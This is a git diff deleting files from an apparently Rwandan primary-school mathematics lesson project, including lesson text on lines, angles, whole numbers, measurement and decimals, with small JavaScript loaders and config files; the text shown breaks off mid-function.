-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowedge:
- </span>
- <br />
- <br />
- a perpendicular line is an upright line that forms an angle of 90
- <sup>
-  0
- </sup>
- or a right angle with an other line or surface.
- <br />
- <br />
- A cutting line is a line that courses through an other line .
- <br />
- <br />
- . Study the angles made by the hands of a clock and answer the following questions:
- <br />
- <br />
- Instructions: The angle which is less than 90
- <sup>
-  0
- </sup>
- is called :
- <span style="font-weight: bold;">
-  Acute angle.
- </span>
- <br />
- The angle which is exactly 90
- <sup>
-  0
- </sup>
- is called :
- <span style="font-weight: bold;">
-  A right angle.
- </span>
- <br />
- The angle which is between 90
- <sup>
-  0
- </sup>
- and 180
- <sup>
-  0
- </sup>
- is called :
- <span style="font-weight: bold;">
-  Obtuse angle.
-  <br />
-  <br />
- </span>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m14/map411m14a02/description.py b/Save_Mathematics/P4/map411m14/map411m14a02/description.py
deleted file mode 100644
index a893016..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m14a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m14/map411m14a02/lesson.js b/Save_Mathematics/P4/map411m14/map411m14a02/lesson.js
deleted file mode 100644
index bdd4d21..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
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deleted file mode 100644
index acef5b4..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a02/source.txt
+++ /dev/null
@@ -1,162 +0,0 @@
-<p>
- <br />
- Example 1 : pictures of:
- <br />
- <br />
- <br />
- <br />
- oblique lines.
- <br />
- <br />
- <br />
- vertical lines.
- <br />
- <br />
- <br />
- horizontal lines.
- <br />
- <br />
- <br />
- observation a,b ,c ,d
- <br />
- A B
-</p>
-<table style="width: 149px; height: 109px;" border="1">
- <tbody>
-  <tr>
-   <td width="100%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- C D
- <br />
- <br />
- vertical lines
- <br />
- <br />
- are xertical lines a ,b ,c ,d
- <br />
- <br />
- D C and AB are horizontal lines .
- <br />
- <br />
- D B and A C Vertical and parallel lines.
- <br />
- BD and CD are perpendicular lines.
- <br />
- <br />
- <br />
- knowledge : &ndash; Straight vertical lines are upright or perpendicula lines .
- <br />
- &ndash; Straight oblique lines are sloping lines .
- <br />
- &ndash; Straight holizontal lines are right to lest straight lines .
- <br />
- <br />
- Instructions teacher asks students to observe perpendicular lines , non perpendicular
- <br />
- and cutting straight lines .
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Example 2 : pictures of parallel lines
- </span>
- <br />
- <br />
- <span style="color: #ff0000;">
-  Example 3 : pictures of perpendicular lines
- </span>
- <br style="color: #ff0000;" />
- <br style="color: #ff0000;" />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Example 4 : pictures of non perpendicular lines.
- </span>
- <br />
- <br />
- <span style="color: #ff0000;">
-  example 5: show different angles, parallel lines and perpendicular lines of such picture.
- </span>
- <br style="color: #ff0000;" />
-</p>
-<table style="width: 183px; height: 122px;" border="1" align="center">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowedge:
- </span>
- <br />
- <br />
- a perpendicular line is an upright line that forms an angle of 90
- <sup>
-  0
- </sup>
- or a right angle with an other line or surface.
- <br />
- <br />
- A cutting line is a line that courses through an other line .
- <br />
- <br />
- . Study the angles made by the hands of a clock and answer the following questions:
- <br />
- <br />
- Instructions: The angle which is less than 90
- <sup>
-  0
- </sup>
- is called :
- <span style="font-weight: bold;">
-  Acute angle.
- </span>
- <br />
- The angle which is exactly 90
- <sup>
-  0
- </sup>
- is called :
- <span style="font-weight: bold;">
-  A right angle.
- </span>
- <br />
- The angle which is between 90
- <sup>
-  0
- </sup>
- and 180
- <sup>
-  0
- </sup>
- is called :
- <span style="font-weight: bold;">
-  Obtuse angle.
-  <br />
-  <br />
- </span>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m14/map411m14a03/a.txt b/Save_Mathematics/P4/map411m14/map411m14a03/a.txt
deleted file mode 100644
index 0cc8bfa..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a03/a.txt
+++ /dev/null
@@ -1 +0,0 @@
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deleted file mode 100644
index 935bbb3..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m14a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
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deleted file mode 100644
index 049bcf3..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m14/map411m14a03/a.txt'},
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-function startGame(karma) {
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-setUpLesson(initialize, startGame);
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deleted file mode 100644
index 0cc8bfa..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a03/source.txt
+++ /dev/null
@@ -1 +0,0 @@
-Under costruction............... 
diff --git a/Save_Mathematics/P4/map411m14/map411m14a04/a.txt b/Save_Mathematics/P4/map411m14/map411m14a04/a.txt
deleted file mode 100644
index d1e2b74..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a04/a.txt
+++ /dev/null
@@ -1,121 +0,0 @@
-<ul>
- <li>
-  Study lines in the rectangle and write identify vertical, oblique and horizontal lines.
- </li>
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- <br />
- <span style="color: #ff0000;">
-  Instuctions:
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-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m14/map411m14a04/description.py b/Save_Mathematics/P4/map411m14/map411m14a04/description.py
deleted file mode 100644
index c4c68f2..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m14a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m14/map411m14a04/lesson.js b/Save_Mathematics/P4/map411m14/map411m14a04/lesson.js
deleted file mode 100644
index 8f8810c..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m14/map411m14a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m14/map411m14a04/source.txt b/Save_Mathematics/P4/map411m14/map411m14a04/source.txt
deleted file mode 100644
index d1e2b74..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a04/source.txt
+++ /dev/null
@@ -1,121 +0,0 @@
-<ul>
- <li>
-  Study lines in the rectangle and write identify vertical, oblique and horizontal lines.
- </li>
-</ul>
-<p>
- <br />
- <span style="color: #ff0000;">
-  Instuctions:
- </span>
-</p>
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-<p>
- <br />
- <br />
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diff --git a/Save_Mathematics/P4/map411m14/map411m14a05/a.txt b/Save_Mathematics/P4/map411m14/map411m14a05/a.txt
deleted file mode 100644
index 0cc8bfa..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a05/a.txt
+++ /dev/null
@@ -1 +0,0 @@
-Under costruction............... 
diff --git a/Save_Mathematics/P4/map411m14/map411m14a05/description.py b/Save_Mathematics/P4/map411m14/map411m14a05/description.py
deleted file mode 100644
index b3dac9c..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m14a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m14/map411m14a05/lesson.js b/Save_Mathematics/P4/map411m14/map411m14a05/lesson.js
deleted file mode 100644
index a6f562e..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m14/map411m14a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m14/map411m14a05/source.txt b/Save_Mathematics/P4/map411m14/map411m14a05/source.txt
deleted file mode 100644
index 0cc8bfa..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a05/source.txt
+++ /dev/null
@@ -1 +0,0 @@
-Under costruction............... 
diff --git a/Save_Mathematics/P4/map411m14/map411m14a06/a.txt b/Save_Mathematics/P4/map411m14/map411m14a06/a.txt
deleted file mode 100644
index 167f5db..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a06/a.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- 1. Study the lines in the rectangle and write vertical , Oblique and Horizontal lines.
- <br />
- <br />
- Instructions: Pictures of a rectangle(ABCD) with vertical(HG), Oblique(AC and BD) and horizontal (EF) lines inside.
- <br />
- <br />
- a. Line AB is ...............................
- <br />
- b. Line AC is ...............................
- <br />
- c. Line AD is ...............................
- <br />
- d. Line BD is ...............................
- <br />
- e. Line EF is ...............................
- <br />
- f. Line GH is ...............................
- <br />
- <br />
- 2.Measure the angles below and write their type:
- <br />
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction:Pictures of Acute,Right,Obtuse,Straight,Reflex and revolution angles.
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m14/map411m14a06/description.py b/Save_Mathematics/P4/map411m14/map411m14a06/description.py
deleted file mode 100644
index 9bf2582..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m14a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m14/map411m14a06/lesson.js b/Save_Mathematics/P4/map411m14/map411m14a06/lesson.js
deleted file mode 100644
index ad67e5d..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m14/map411m14a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m14/map411m14a06/source.txt b/Save_Mathematics/P4/map411m14/map411m14a06/source.txt
deleted file mode 100644
index 167f5db..0000000
--- a/Save_Mathematics/P4/map411m14/map411m14a06/source.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- 1. Study the lines in the rectangle and write vertical , Oblique and Horizontal lines.
- <br />
- <br />
- Instructions: Pictures of a rectangle(ABCD) with vertical(HG), Oblique(AC and BD) and horizontal (EF) lines inside.
- <br />
- <br />
- a. Line AB is ...............................
- <br />
- b. Line AC is ...............................
- <br />
- c. Line AD is ...............................
- <br />
- d. Line BD is ...............................
- <br />
- e. Line EF is ...............................
- <br />
- f. Line GH is ...............................
- <br />
- <br />
- 2.Measure the angles below and write their type:
- <br />
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction:Pictures of Acute,Right,Obtuse,Straight,Reflex and revolution angles.
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m15/activities.js b/Save_Mathematics/P4/map411m15/activities.js
deleted file mode 100755
index 2d8b302..0000000
--- a/Save_Mathematics/P4/map411m15/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1,1,'map4','Karma','map411m15a01','blue'],
-['2,2,'map4','Karma','map411m15a02','blue'],
-['3,3,'map4','Karma','map411m15a03','blue'],
-];
-var assetList= [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m15/map411m15a01/a.txt b/Save_Mathematics/P4/map411m15/map411m15a01/a.txt
deleted file mode 100644
index 328992f..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a01/a.txt
+++ /dev/null
@@ -1,132 +0,0 @@
-Revision - Whole Numbers
-
-This activity will evaluate whether the student has achieved the syllabus objectives for whole numbers.
-
-1.Let,s see if you are able to apply your knowlegde about then thousands.Write the following numbers correctly into the table:
-
-    *
-      TTH
-      	TH
-      	H
-      	T
-      	Units
-
-      	
-      	
-      	
-      	
-
-      	
-      	
-      	
-      	
-
-      	
-      	
-      	
-      	
-
-      	
-      	
-      	
-      	
-
-      	
-      	
-      	
-      	
-    *
-
-    * Ninety thousands seventeen
-    * 5 2 4 7 4
-    * 8 2 4 5 6
-    * Five hundred and six
-    * Fourteen thousands seventy three
-
-
-2.Write in words numbers between 45,512 and 45,580
-
-3.Do you still remember what« expanded form or expanded notation is?»
-Look at the example and see whether you can write the following numbers in expanded notation.
-e.g = 20000+5000+30+7
-1) 70436=
-2) 58017=
-3) 88025=
-4) 5498= ... +....+......+.......
-=(........×......)+(.......×.......)+(........×.......)+(........×.........)
-
-4. Fill in the missing answers:
-9 +......=........ Ten
-99+.....=........ One hundred
-9 9 9 =.......... One thousand
-9 9 9 9 =....... Ten thousand
-
-5.When we work with number patterns we either add or substract to find the next number in the row.
-See if you can discover the pattern and fill in the missing numbers:
-5.1 3 0 8 5 0;............;...............;3 0 7 0 0;3 0 6 5 0.
-5.2 1 5 2 0 0;1 5 00; ;..............;..............;.............;..............
-5.3 ...........;..............;8 1 7 2 6; 8 0 7 2 6;...........; ...........;
-5.4. 6 9 6 2 5; 7 9 6 2 5;............;.............;...............;.................
-
-6. Insert <, > or = to complete :
-6.1 4 8 7 6 ......... 4 0 0 0 + 7 0 0 + 8 0
-6.2 ( 9 × 8 ) + 4 .........( 8 1: 9)
-6.3 5 3 9 4 ............. 5 0 3 9 4
-6.4 ( 2 5× 5 - 4 0 ......... 8 5
-
-7. What is the value of the figures in bold print ?
-7.1 1 8 2 1 7
-7.2 4 6 8 9 1
-
-8. Arrange the following numbers from the small to the large :
-3 0 0 4; 3 3 0 4; 3 0 4 0 ;3 4 0 3
-
-9. Write , using digits.
-Seventy-eight thousand three hundred and thirty- one.
-
-10. When you go at the market for shopping ,you add ,you substract , you multiply and you divide .Many operations you need .Try these calculations .
-
-1) + 1 3 7 6 2
-...........1 0 4 5
-
-2) + 2 2 3 1 0
-..........4 1 4 7
-
-
-3) 4 0 3 1 5
-+ 1 1 8 5 6
-
-4) 5 5 8 5
-.....+ 3 2 6
-
-5) 1 3 2 5 - 8 7 5
-6) 3 7 6 4 - 1 3 2 1
-7) 6 0 0 9 - 4 2 4 5
-8) 9 9 9 9 - 7 9 0 8
-9) 2 7 6 × 9
-10) 5 5 5× 2 0
-11) 1 8 7 5: 5
-12) 2 0 5 0 0 : 4
-
-Multiple problems also are current in our life, rapidly solve those are bellow.
-
-1. A shirt costs 2 5 0 0 Frw and a tie ,1 8 0 0 Frw. If David bought 2 such shirts and 3 such ties. How much did he spend altogether ?
-
-2. 4 3 men and 5 2 women went to Amahoro Stadium in a match of CECAFA Cup. If each ticket costs 1 0 0 0 Frw, how much money was collected in all match?
-
-3. In a packet of sweets , there are 360 sweets. On Mathias birthday, my mother will share them among 2 0 children in our neigborhood . How many sweets will each child obtain ?
-
-
-4.If Andrew was born in 1 9 9 7. Calculate his age will have in 2011 ?
-
-5. In a recensement of animals living in Volcanoes National Park , a zootechnician totalised 2 5 2 7 varities of animals as following as :4 8 0 gorillas ;288 snakes ;5 2 5 chimpanzees and any birds.Find the number of birds being in the volcanoes National Park
-
-6.TIGO communication company sells 1 7 5 0 mobile phones in a week. How many mobile phones sold in 2 weeks ?
-
-7.The District Kicukiro has 6 5 0 0 0 English books to distribute in primary schools. If 2 6 8 9 0 b o o k s are already distributed, how many books do they stay ?
-
-8 A bar of soap costs 5 0 0 FRw at Kimironko market , Carine has got 2 5 0 0 FRW. How many bars can she get ?
-
-9. Umuhire bought 8 piles of egg- plants and she got 1 6 0 0 FRW. How much did she spend for a pile of egg - plants ?
-
-10. My father went to the butchery and sold his goat at 2 8 0 0 0 FRW, his hens at 8 8 0 0 FRW. If he bought 1 0 notebooks at 2 5 0 FRW each of them and 5 pens 10 0 FRw each pen; How much money did it rest in his pocket ?
diff --git a/Save_Mathematics/P4/map411m15/map411m15a01/description.py b/Save_Mathematics/P4/map411m15/map411m15a01/description.py
deleted file mode 100644
index f15d896..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m15a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m15/map411m15a01/lesson.js b/Save_Mathematics/P4/map411m15/map411m15a01/lesson.js
deleted file mode 100644
index 45a906e..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a01/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m15/map411m15a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m15/map411m15a02/a.txt b/Save_Mathematics/P4/map411m15/map411m15a02/a.txt
deleted file mode 100644
index 28005bf..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a02/a.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-Measurement
-
-This activity will evaluate whether the student has met the objectives of the syllabus for measurement of length and measurement of capacity
-
-Look at in your environment , man performs activities : agriculture ,masonry ,livestock -farming , transport ,commerce etc. Do you want any tools he need , including instruments of measurements ? Now , use a conversion tables 0f measurements of length and capacity to work out this .
-
-1.Convert the given units.
-a) 2 0 cm = ..........dm
-a)1 4 dam =...........cm
-c) 4 hm =..........dm
-d) 2 1 dm =. .........cm
-e) 8 m =..........dm =.........cm
-f) 2 6 dam =..........cm =.............mm
-g) 3 km =............dam =.............m
-h) 1 0 m =.............dm =............cm
-i) 9 l = .............cl = .........= 9 0 0 ml
-j)......= 2 0 0 l = .........cl
-k) 2 hl = .........l = 2 0 0 0 0 cl
-l ) A lorry contains 1 5 0 0 0 l 0
-j
diff --git a/Save_Mathematics/P4/map411m15/map411m15a02/description.py b/Save_Mathematics/P4/map411m15/map411m15a02/description.py
deleted file mode 100644
index 080d693..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m15a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m15/map411m15a02/lesson.js b/Save_Mathematics/P4/map411m15/map411m15a02/lesson.js
deleted file mode 100644
index 568d423..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a02/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m15/map411m15a02/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m15/map411m15a03/a.txt b/Save_Mathematics/P4/map411m15/map411m15a03/a.txt
deleted file mode 100644
index 15d0a2a..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Geometrical Figures
-
-This activity will evaluate whether the student has met the syllabus objectives for straight lines and angles. 
diff --git a/Save_Mathematics/P4/map411m15/map411m15a03/description.py b/Save_Mathematics/P4/map411m15/map411m15a03/description.py
deleted file mode 100644
index caa507b..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m15a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m15/map411m15a03/lesson.js b/Save_Mathematics/P4/map411m15/map411m15a03/lesson.js
deleted file mode 100644
index d99fc2c..0000000
--- a/Save_Mathematics/P4/map411m15/map411m15a03/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m15/map411m15a03/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m01/activities.js b/Save_Mathematics/P4/map412m01/activities.js
deleted file mode 100755
index f186387..0000000
--- a/Save_Mathematics/P4/map412m01/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m01a01','blue'],
-['2','2','map4','basic','map412m01a02','blue'],
-['3','3','map4','basic','map412m01a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m01/map412m01a01/a1.txt b/Save_Mathematics/P4/map412m01/map412m01a01/a1.txt
deleted file mode 100755
index 3942a2a..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a01/a1.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<h1>
- Introduction to Decimals
-</h1>
-<p>
- You remember that a fraction is a part of a whole object. For example, when we  have divided a pizza into six pieces, one piece is 1/6 of a pizza. Suppose we  bought two pizzas and cut each into six pieces. After we ate 5 pieces, we would  have 7 pieces left. This would be equivalent to one pizza and one piece or 1  1/6.
-</p>
-<p>
- Decimal fractions or decimals are a special form of fraction in which the  denominator is a multiple of ten (we have divided something into 10 or 100 or  1000 parts).
-</p>
-<p>
- We can have a combination of a whole number and a decimal fraction such as  12.3. The means 12 of something plus 3/10 more of that something. A number such as  12.3 is called a decimal number
-</p>
-<p>
- 
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map412m01/map412m01a01/a2.txt b/Save_Mathematics/P4/map412m01/map412m01a01/a2.txt
deleted file mode 100755
index ce86ec4..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a01/a2.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-
- Our first task is to learn to read and write decimal numbers. You will find it  is similar to reading and writing whole numbers, but with some special  tricks and traps!
-</p>
-<p>
- First when pronouncing a decimal number, always say 'and' for the decimal  point.
-</p>
-<p>
- Second, the last digit of a decimal number is (almost) never zero (0). For  example, we don't have 1.10 but 1.1. We don't have 1.140, but 1.14.
-</p>
-<p>
- Third, when pronouncing the decimal part of a decimal number, we count the  value of the last digit (non-zero) digit. For example, 1.1 is one and one tenth. We say, 'one and fourteen hundredths' for 1.14 and 'one and two thousandths' for  1.002. The largest number we will encounter in this activity is 999.999. We say,  'nine hundred ninety-nine and nine hundred ninety-nine thousandths'.
-</p>
-<p>
- The  numbers 0.1 and .1 are the same number, 'one tenth', but we could also say, 'zero  and one tenth'.
-</p>
-<p>
- If you are ready, press Start to see some examples. Each example has several 
-steps, to see the next step click on the place value table. If you click and 
-nothing happens, press Start again for the next example.
-</p>
-<p>
- &nbsp;
-</p>
diff --git a/Save_Mathematics/P4/map412m01/map412m01a01/css/divs.css b/Save_Mathematics/P4/map412m01/map412m01a01/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m01/map412m01a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m01/map412m01a01/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a01/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m01/map412m01a01/js/lesson.js b/Save_Mathematics/P4/map412m01/map412m01a01/js/lesson.js
deleted file mode 100755
index f63380e..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a01/js/lesson.js
+++ /dev/null
@@ -1,204 +0,0 @@
-//present question - decimal number to words, words to decimal number
-//if wrong, display place table: thousands, units, thousandths
-
-caseno = 0;
-xxcases = [7,13,47,234,13.2,0.1,.01,.001,12.001,999.999];
-cases = [13.2,0.1,.01,.001,12.001,999.999];
-
-function phase1(){
-  if(typeFlag){ //words -> number
-    //show hundreds digit, if any
-    drawComment(1,10*columnWidth+2,'Hundreds');
-    if (wholeDigits.length>2){
-        drawDigits(1,50+4*columnWidth,wholeDigits[0]);
-        txtComment=words + ' is '+wholeDigits[0];
-    }else{
-        txtComment=words + ' is ';
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //fill place value table from number
-    drawComment(1,10*columnWidth+2,'Expand');
-    txtComment = whole+'.'+decimal+' is ';
-    drawComment(0,0,txtComment);
-    drawDigits(1,50+6*columnWidth,wholeDigits.reverse());
-    pos = dcmlDigits.length;
-    drawDigits(1,50+(6+pos)*columnWidth,dcmlDigits.reverse());
-  };
-  doPhase(1);
-};
-
-function phase2(){
-  drawComment(2,10*columnWidth+2,'Units');
-  if(typeFlag){ //words -> number
-    //show tens and units
-    pos = wholeDigits.length;
-    if(pos>1){
-        drawDigits(1,50+5*columnWidth,wholeDigits[pos-2]);
-        drawDigits(1,50+6*columnWidth,wholeDigits[pos-1]);
-        txtComment = txtComment+wholeDigits[pos-2]+wholeDigits[pos-1];
-    }else if(pos==1){
-        drawDigits(1,50+6*columnWidth,wholeDigits[0]);
-        txtComment = txtComment+wholeDigits[0];
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //show words for the whole part
-    txt = getWholeWords(words);
-    if(txt.length>0){
-        txtComment = txtComment + getWholeWords(words) + ' and ';
-        drawComment(0,0,txtComment);
-    };
-  };
-  doPhase(2);
-};
-
-function phase3(){
-  drawComment(3,10*columnWidth+2,'Tenths');
-  if(typeFlag){
-      // put digit in tenths column
-      pos = dcmlDigits.length;
-      if(pos>0){
-          drawDigits(1,50+7*columnWidth,dcmlDigits[0]);
-          txtComment = txtComment + '.'+dcmlDigits[0];
-          drawComment(0,0,txtComment);
-      };
-  }else{
-      //numbers --> words
-      pos = dcmlDigits.length;
-      if(pos>0){
-          dgt = parseInt(dcmlDigits[pos-1]);
-      };
-      if(pos>2){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' hundred ';
-          };
-      }else if (pos==1){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' tenths ';
-          };
-      };
-      drawComment(0,0,txtComment);
-  };
-  doPhase(3);
-};
-
-function phase4(){
-  drawComment(4,10*columnWidth+2,'1000ths');
-  if(typeFlag){
-      pos = dcmlDigits.length;
-      if(pos>2){
-          //show hundreds and thousandths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          drawDigits(1,50+9*columnWidth,dcmlDigits[2]);
-          txtComment = txtComment + dcmlDigits[1]+dcmlDigits[2];
-      }else if (pos>1){    
-          //show hundredths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          txtComment = txtComment + dcmlDigits[1];
-      };
-      drawComment(0,0,txtComment);
-  }else{//number --> words
-      pos = dcmlDigits.length;
-      if(pos>1){
-          indx = digits[1]*10+parseInt(digits[0]);
-          txtComment = txtComment + word(indx);
-      };
-      if(pos>2){
-          txtComment = txtComment + ' thousandths';
-      }else if (pos>1){
-          txtComment = txtComment + ' hundredths';
-      };
-      drawComment(0,0,txtComment);  
-  };
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function show_answer(karma) {
-        if(typeFlag){
-            txt = 'The number '+solution+' is described in words as '+ask
-        }else{
-            txt = "We use the words "+solution+" to describe the number "+ask
-        };
-        $('#content')
-           .empty()
